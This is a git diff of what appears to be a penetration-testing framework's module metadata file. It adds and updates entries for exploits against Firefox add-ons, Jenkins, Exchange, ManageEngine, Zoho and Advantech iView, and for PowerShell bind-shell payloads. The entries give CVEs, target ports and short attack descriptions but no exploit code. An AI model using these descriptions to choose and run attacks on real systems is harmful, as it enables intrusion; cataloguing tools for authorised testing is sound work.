"description": "This exploit dynamically creates a .xpi addon file.\n The resulting bootstrapped Firefox addon is presented to\n the victim via a web page. The victim's Firefox browser\n will pop a dialog asking if they trust the addon.\n\n Once the user clicks \"install\", the addon is installed and\n executes the payload with full user permissions. As of Firefox\n 4, this will work without a restart as the addon is marked to\n be \"bootstrapped\". As the addon will execute the payload after\n each Firefox restart, an option can be given to automatically\n uninstall the addon once the payload has been executed.",
|
||||
"description": "Mozilla Firefox before version 41 allowed users to install\n unsigned browser extensions from arbitrary web servers.\n\n This module dynamically creates an unsigned .xpi addon file.\n The resulting bootstrapped Firefox addon is presented to\n the victim via a web page. The victim's Firefox browser\n will pop a dialog asking if they trust the addon.\n\n Once the user clicks \"install\", the addon is installed and\n executes the payload with full user permissions. As of Firefox\n 4, this will work without a restart as the addon is marked to\n be \"bootstrapped\". As the addon will execute the payload after\n each Firefox restart, an option can be given to automatically\n uninstall the addon once the payload has been executed.\n\n As of Firefox 41, unsigned extensions can still be installed\n on Firefox Nightly, Unbranded and Development builds when\n configured with `xpinstall.signatures.required` set to `false`.\n\n Note: this module generates legacy extensions which are\n supported only in Firefox before version 57.",
|
||||
"references": [
|
||||
"URL-https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions",
|
||||
"URL-http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector"
|
||||
"URL-https://blog.mozilla.org/addons/2015/02/10/extension-signing-safer-experience/",
|
||||
"URL-https://blog.mozilla.org/addons/2015/04/15/the-case-for-extension-signing/",
|
||||
"URL-https://support.mozilla.org/en-US/kb/frequently-asked-questions-firefox-addon",
|
||||
"URL-https://web.archive.org/web/20170727035940/https://developer.mozilla.org/en-US/Add-ons/Bootstrapped_extensions",
|
||||
"URL-https://web.archive.org/web/20160322014439/https://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector"
|
||||
],
|
||||
"platform": "Java,Linux,OSX,Solaris,Windows",
|
||||
"arch": "",
|
||||
@@ -78087,7 +79189,7 @@
|
||||
"Universal (Javascript XPCOM Shell)",
|
||||
"Native Payload"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-09-05 02:23:37 +0000",
|
||||
"path": "/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/browser/firefox_xpi_bootstrapped_addon",
|
||||
@@ -78095,6 +79197,17 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk",
|
||||
"screen-effects"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -84597,7 +85710,7 @@
|
||||
"jamcut",
|
||||
"thesubtlety"
|
||||
],
|
||||
"description": "This module uses the Jenkins-CI Groovy script console to execute\n OS commands using Java.",
|
||||
"description": "This module uses the Jenkins-CI Groovy script console to execute\n OS commands using Java.",
|
||||
"references": [
|
||||
"URL-https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console"
|
||||
],
|
||||
@@ -84624,7 +85737,7 @@
|
||||
"Linux",
|
||||
"Unix CMD"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-09-13 16:09:28 +0000",
|
||||
"path": "/modules/exploits/multi/http/jenkins_script_console.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/jenkins_script_console",
|
||||
@@ -97013,7 +98126,7 @@
|
||||
"Unix (In-Memory)",
|
||||
"Windows (In-Memory)"
|
||||
],
|
||||
"mod_time": "2022-02-15 08:47:50 +0000",
|
||||
"mod_time": "2022-09-13 22:36:31 +0000",
|
||||
"path": "/modules/exploits/multi/php/ignition_laravel_debug_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/php/ignition_laravel_debug_rce",
|
||||
@@ -132996,7 +134109,8 @@
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"nao sec",
|
||||
"mekhalleh (RAMELLA Sébastien)"
|
||||
"mekhalleh (RAMELLA Sébastien)",
|
||||
"bwatters-r7"
|
||||
],
|
||||
"description": "This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template\n feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code.",
|
||||
"references": [
|
||||
@@ -133020,7 +134134,7 @@
|
||||
"targets": [
|
||||
"Microsoft Office Word"
|
||||
],
|
||||
"mod_time": "2022-06-02 00:58:20 +0000",
|
||||
"mod_time": "2022-08-25 15:56:39 +0000",
|
||||
"path": "/modules/exploits/windows/fileformat/word_msdtjs_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/fileformat/word_msdtjs_rce",
|
||||
@@ -136518,6 +137632,69 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/advantech_iview_networkservlet_cmd_inject": {
|
||||
"name": "Advantech iView NetworkServlet Command Injection",
|
||||
"fullname": "exploit/windows/http/advantech_iview_networkservlet_cmd_inject",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"rgod",
|
||||
"y4er",
|
||||
"Shelby Pace"
|
||||
],
|
||||
"description": "Versions of Advantech iView software below `5.7.04.6469` are\n vulnerable to an unauthenticated command injection vulnerability\n via the `NetworkServlet` endpoint.\n The database backup functionality passes a user-controlled parameter,\n `backup_file` to the `mysqldump` command. The sanitization functionality only\n tests for SQL injection attempts and directory traversal, so leveraging the\n `-r` and `-w` `mysqldump` flags permits exploitation.\n The command injection vulnerability is used to write a payload on the target\n and achieve remote code execution as NT AUTHORITY\\SYSTEM.",
|
||||
"references": [
|
||||
"URL-https://y4er.com/post/cve-2022-2143-advantech-iview-networkservlet-command-inject-rce/",
|
||||
"CVE-2022-2143"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86, x64, cmd",
|
||||
"rport": 8080,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows Dropper",
|
||||
"Windows Command"
|
||||
],
|
||||
"mod_time": "2022-08-09 16:12:54 +0000",
|
||||
"path": "/modules/exploits/windows/http/advantech_iview_networkservlet_cmd_inject.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/advantech_iview_networkservlet_cmd_inject",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/http/advantech_iview_unauth_rce": {
|
||||
"name": "Advantech iView Unauthenticated Remote Code Execution",
|
||||
"fullname": "exploit/windows/http/advantech_iview_unauth_rce",
|
||||
@@ -139003,11 +140180,11 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/exchange_chainedserializationbinder_denylist_typo_rce": {
|
||||
"name": "Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE",
|
||||
"fullname": "exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce",
|
||||
"exploit_windows/http/exchange_chainedserializationbinder_rce": {
|
||||
"name": "Microsoft Exchange Server ChainedSerializationBinder RCE",
|
||||
"fullname": "exploit/windows/http/exchange_chainedserializationbinder_rce",
|
||||
"aliases": [
|
||||
|
||||
"exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce"
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2021-12-09",
|
||||
@@ -139019,16 +140196,21 @@
|
||||
"Microsoft Security Response Center",
|
||||
"peterjson",
|
||||
"testanull",
|
||||
"Grant Willcox"
|
||||
"Grant Willcox",
|
||||
"Spencer McIntyre",
|
||||
"Markus Wulftange"
|
||||
],
|
||||
"description": "This vulnerability allows remote attackers to execute arbitrary code\n on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11\n prior to Security Update 2, Exchange Server 2016 CU21 prior to\n Security Update 3, and Exchange Server 2016 CU22 prior to\n Security Update 2.\n\n Note that authentication is required to exploit this vulnerability.\n\n The specific flaw exists due to the fact that the deny list for the\n ChainedSerializationBinder had a typo whereby an entry was typo'd as\n System.Security.ClaimsPrincipal instead of the proper value of\n System.Security.Claims.ClaimsPrincipal.\n\n By leveraging this vulnerability, attacks can bypass the\n ChainedSerializationBinder's deserialization deny list\n and execute code as NT AUTHORITY\\SYSTEM.\n\n Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019,\n and Exchange Server 2016 CU22 SU0 on Windows Server 2016.",
|
||||
"description": "This module exploits vulnerabilities within the ChainedSerializationBinder as used in\n Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and\n Exchange Server 2016 CU22 all prior to Mar22SU.\n\n Note that authentication is required to exploit these vulnerabilities.",
|
||||
"references": [
|
||||
"CVE-2021-42321",
|
||||
"URL-https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321",
|
||||
"URL-https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7",
|
||||
"URL-https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169",
|
||||
"URL-https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398",
|
||||
"URL-https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852"
|
||||
"URL-https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852",
|
||||
"CVE-2022-23277",
|
||||
"URL-https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html",
|
||||
"URL-https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd, x86, x64",
|
||||
@@ -139053,10 +140235,10 @@
|
||||
"Windows Dropper",
|
||||
"PowerShell Stager"
|
||||
],
|
||||
"mod_time": "2022-03-17 09:56:51 +0000",
|
||||
"path": "/modules/exploits/windows/http/exchange_chainedserializationbinder_denylist_typo_rce.rb",
|
||||
"mod_time": "2022-08-17 17:36:31 +0000",
|
||||
"path": "/modules/exploits/windows/http/exchange_chainedserializationbinder_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/exchange_chainedserializationbinder_denylist_typo_rce",
|
||||
"ref_name": "windows/http/exchange_chainedserializationbinder_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
@@ -142619,6 +143801,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/http/manageengine_adaudit_plus_cve_2022_28219": {
|
||||
"name": "ManageEngine ADAudit Plus CVE-2022-28219",
|
||||
"fullname": "exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-29",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Naveen Sunkavally",
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module exploits CVE-2022-28219, which is a pair of\n vulnerabilities in ManageEngine ADAudit Plus versions before build\n 7060: a path traversal in the /cewolf endpoint, and a blind XXE in,\n to upload and execute an executable file.",
|
||||
"references": [
|
||||
"CVE-2022-28219",
|
||||
"URL-https://www.horizon3.ai/red-team-blog-cve-2022-28219/",
|
||||
"URL-https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis",
|
||||
"URL-https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": 8081,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows Command"
|
||||
],
|
||||
"mod_time": "2022-08-05 11:34:46 +0000",
|
||||
"path": "/modules/exploits/windows/http/manageengine_adaudit_plus_cve_2022_28219.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/manageengine_adaudit_plus_cve_2022_28219",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/manageengine_adselfservice_plus_cve_2021_40539": {
|
||||
"name": "ManageEngine ADSelfService Plus CVE-2021-40539",
|
||||
"fullname": "exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539",
|
||||
@@ -146946,6 +148190,72 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/zoho_password_manager_pro_xml_rpc_rce": {
|
||||
"name": "Zoho Password Manager Pro XML-RPC Java Deserialization",
|
||||
"fullname": "exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-24",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Vinicius",
|
||||
"Y4er",
|
||||
"Grant Willcox"
|
||||
],
|
||||
"description": "This module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro\n before 12101 and PAM360 before 5510. Unauthenticated attackers can send a\n crafted XML-RPC request containing malicious serialized data to /xmlrpc to\n gain RCE as the SYSTEM user.",
|
||||
"references": [
|
||||
"CVE-2022-35405",
|
||||
"URL-https://xz.aliyun.com/t/11578",
|
||||
"URL-https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html",
|
||||
"URL-https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd, x64",
|
||||
"rport": 7272,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows EXE Dropper",
|
||||
"Windows Command",
|
||||
"Windows Powershell"
|
||||
],
|
||||
"mod_time": "2022-08-02 14:27:27 +0000",
|
||||
"path": "/modules/exploits/windows/http/zoho_password_manager_pro_xml_rpc_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/zoho_password_manager_pro_xml_rpc_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/ibm/ibm_was_dmgr_java_deserialization_rce": {
|
||||
"name": "IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution",
|
||||
"fullname": "exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce",
|
||||
@@ -151573,7 +152883,7 @@
|
||||
"EDB-15589"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86, x64",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
@@ -151582,9 +152892,10 @@
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Windows Vista, 7, and 2008"
|
||||
"Windows Vista / 7 / 2008 (Dropper)",
|
||||
"Windows Vista / 7 / 2008 (Command)"
|
||||
],
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-08-19 15:19:28 +0000",
|
||||
"path": "/modules/exploits/windows/local/ms10_092_schelevator.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/ms10_092_schelevator",
|
||||
@@ -151592,6 +152903,16 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
@@ -171299,6 +172620,1056 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/bind_hidden_ipknock_tcp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Hidden Bind Ipknock TCP Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/bind_hidden_ipknock_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"Borja Merino <bmerinofe@gmail.com>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection. First, the port will need to be knocked from\n the IP defined in KHOST. This IP will work as an authentication method\n (you can spoof it with tools like hping). After that you could get your\n shellcode from any IP. The socket will appear as \"closed,\" thus helping to\n hide the shellcode",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/bind_hidden_ipknock_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/bind_hidden_tcp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Hidden Bind TCP Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/bind_hidden_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"Borja Merino <bmerinofe@gmail.com>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection from a hidden port and spawn a command shell to the allowed host.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/bind_hidden_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/bind_ipv6_tcp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/bind_ipv6_tcp_uuid": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/bind_named_pipe": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows x86 Bind Named Pipe Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/bind_named_pipe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"UserExistsError"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a pipe connection (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/bind_named_pipe",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/bind_nonx_tcp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (No NX or Win7)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/bind_nonx_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"vlad902 <vlad902@gmail.com>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection (No NX)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/bind_nonx_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/bind_tcp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (Windows x86)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/bind_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/bind_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/bind_tcp_rc4": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/bind_tcp_rc4",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/custom/bind_tcp_rc4",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/custom/bind_tcp_uuid": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)",
|
||||
"fullname": "payload/cmd/windows/powershell/custom/bind_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection with UUID Support (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
